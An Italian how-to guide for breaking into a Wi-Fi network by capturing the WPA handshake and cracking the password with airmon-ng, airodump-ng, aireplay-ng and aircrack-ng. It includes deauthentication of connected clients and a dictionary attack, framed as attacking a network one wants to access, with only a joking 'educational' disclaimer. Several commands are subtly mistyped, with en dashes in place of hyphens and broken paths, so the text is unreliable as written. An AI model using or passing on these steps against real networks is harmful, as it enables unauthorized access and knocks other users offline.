L’attacco consiste nel monitorare tutti gli accessi e i pacchetti scambiati da dispisitivi che si connettono e disconnettono dalla rete alla quale vogliamo effettuare l’accesso. In questo articolo non mi dilungherò sui tecnicismi di questa operazione, sul procedimento dell’handshake e sul funzionamento dei router, ma mi limiterò ad elencare i procedimenti da affrontare. Il tutto per rendere questa guida leggibile anche per i meno esperti. Per chiunque volesse avere informazioni più dettagliate sarà possibile commentare questo articolo per aprire poi una discussione.

Passaggio uno: i dati della rete da attaccare

digiatiamo il seguente comando:

1
airmon-ng

Questo software ci permette di visualizzare tutte le schede di rete wireless che supportano la modalità monitor (se non otteniamo risultati dobbiamo procurarci una scheda che supporti la modalità monitor, un adattatore usb o via dicendo, ma in tutti i moderni laptop è presente questa modalità quindi difficilmente dovreste avere problemi)

pic2

Dobbiamo ora prestare molta attenzione al nome che la nostra inferfaccia ha, nel mio caso wlan0.
Una volta identificata l’interfaccia di rete possiamo attivare la modalità monitor sulla suddetta interfaccia che andrà ad analizzare tutte le reti wifi presenti nel suo raggio d’azione per carpirne i segnali e i dati. Per fare cio digitiamo:

1
airmon-ng start [nome dell'interfaccia]

che nel mio caso sarà:

1
airmon-ng start wlan0

Una volta fatto ciò ci troveremo di fronte ad una schermata di questo tipo

pic3E’ molto probabile che vi siano dei processi attivi che possono dare fastidio a questa modalità “monitor”, come ci suggerisce il programma stesso possiamo terminarli digitando:

1
airmon-ng check kill

Una volta fatto ciò possiamo nuovamente eseguire il comando:

1
airmon-ng start [nome interfaccia]

(nel mio caso wlan0)
ed otterremo una scermata del genere

pic4Nella foto precedente vedete  il “nuovo nome” associato all’interfaccia monitor appena abilitata, ricordiamocelo perchè a breve lo utilizzeremo, nel mio caso questo nome sarà wlan0mon.

Digitiamo ora:

1
airodump-ng [nome interfaccia monitor ]

che nel mio caso sarà:

1
airodump-ng wlan0mon

Una volta fatto ciò il programma inizierà ad elencare tutte le reti wifi presenti nel nostro raggio d’azione, una volta comparsa la rete che vogliamo attaccare possiamo premere CTRL+C per terminarne l’esecuzione.
Avremo dunque una schermata come questa

pic5Prendiamo ora nota del BSSID della rete da attaccare e del canale su cui trasmette, utilizzeremo queste informazioni nel passaggio successivo.

Passaggio 2: analisi della rete da attaccare

Una volta terminato il passaaggio 1 possiamo dedicarci all’analisi esclusiva della rete che desideriamo violare (sempre a scopi educativi ovviamnte <3). Sempre da terminale root andiamo a creare una cartella che ci servirà per contenere una serie di file di varia natura che serviranno al programma per proseguire nell’attacco, per creare questa cartella digitiamo il comando:

1
mkdir attacco_wifi

dove “attacco_wifi” sarà il nome della cartella che utilizzeremo a questo scopo.
Una volta fatto ciò possiamo digitare:

1
airodump-ng -c [canale] --bssid [bssid] -w /root/attacco_wifi/ [interfaccia monitor]

che nel mio caso sarà:

1
airodump-ng -c 6 --bssid AE:5F:3E:D4:94:8F  -w /root/attacco_wifi/ wlan0mon

Comparirà quindi la schermata d’analisi relativa alla rete che vogliamo attaccare

pic6Ora non dobbiamo far altro che aspettare che un dispositivo qualsiasi si connetta a questa rete, è una procedura che richiede un po di pazienza ma quando vià succede lo vedremo comparire in questo modo

pic7

Ovviamente questa opzione non è totalmente pratica, infatti potrebbe essere possibile che nessun nuovo dispositivo si connetta e disconnetta alla rete, cosa che a noi invece serve per proseguire nell’attacco.
Come fare allora? Semplice! Forziamo i dispositivi già connessi a disconnettersi per poi riconnettersi e captare un po’ dei dati che ci servono per procedere.
Per fare ciò utilizzamo un altro interessante programma che si chiama aireplay-ng che ci permetterà di inviare dei particolari pacchetti chiamati pacchetti di deauth e che forzeranno il o i dispositivi connessi a disconnettersi per ritentare la connessione.
Apriamo una nuova schermata di terminale assicurandoci che quella presente nella foto precedente resti attiva e digitiamo il seguente comando:

1
aireplay-ng –0 2 –a [router bssid] –c [client bssid] [nome interfaccia]

che nel mio caso sarà:

1
aireplay-ng –0 2 –a AE:5F:3E:D4:94:8F –c 00:F4:6F:42:2F:B1 wlan0mon

Una volta digitato questo comando nel secondo terminale dobbiamo attendere che nel primo terminale aperto e in cui è in esecuzione airodump-ng compaia “l‘handshake“.
Ovviamente i passaggi sopra elencati sono da ignorare se l’handshake fosse già comparso, la procedura di aireplay-ng va usata soltanto per forzare nuovi collegamenti fino a trovare l’handshake. (Nel mio caso ad esempio non è servito).
Una volta eseguito aireplay dobbiamo semplicemente attendere che l’hasndshake compaia nel terminale di airodump-ng. (Mi raccomando che questo HANDSHAKE ci serve!)

Passaggio 3: Cracckiamo la password!

Una volta ottenuto l’handshake segnamocelo e procediamo a chiudere tutti i terminali aperti assicurandoci prima di aver fatto CRTL+C su tutti loro per terminare anche gli eventuali programmi in esecuzione.
Apriamo ora un nuovo terminale (sempre root) ed iniziamo il passaggio finale della nostra guida.
Digitiamo il seguente comando:

1
aircrack-ng -a2 -b [bssid] -w /root/attacco_wifi/wpa.txt /root/attacco_wifi/*.cap

che nel mio casò sarà:

1
aircrack-ng -a2 -b AE:5F:3E:D4:94:8F -w /root/attacco_wifi/wpa.txt /root/attacco_wifi*.cap

(Notare che il file wpa.txt, che deve essere posizionato all’interno della cartella attacco_wifi, deve contenere una wordlist o dizionario di password! Per generare un dizionario possiamo utilizzare programmi come crunch di cui a breve sarà fatta una guida o possiamo reperirle online).

Una volta fatto ciò dobbiamo attendere…*sig*… può volerci anche molto e la cosa varia in base alla grandezza e precisione del dizionario che stiamo utilizzando, ma una volta completata la nostra operazione comparirà una schermata di questo genere che ci comunica che la password è stata trovata.

pic8Una volta ottenuta la password ricordiamoci di ripristinare correttamente i servizi di rete disattivando la modalità monitor con il seguente comando:

1
airmon-ng stop [nome interfaccia monitor]

che nel mio caso sarà:

1
airmon-ng stop wlan0mon

e riattivando i servizi di gestione della rete con il comando:

1
./etc/init.d/networking start

e poi con il comando:

1
./etc/init.d/network-manager start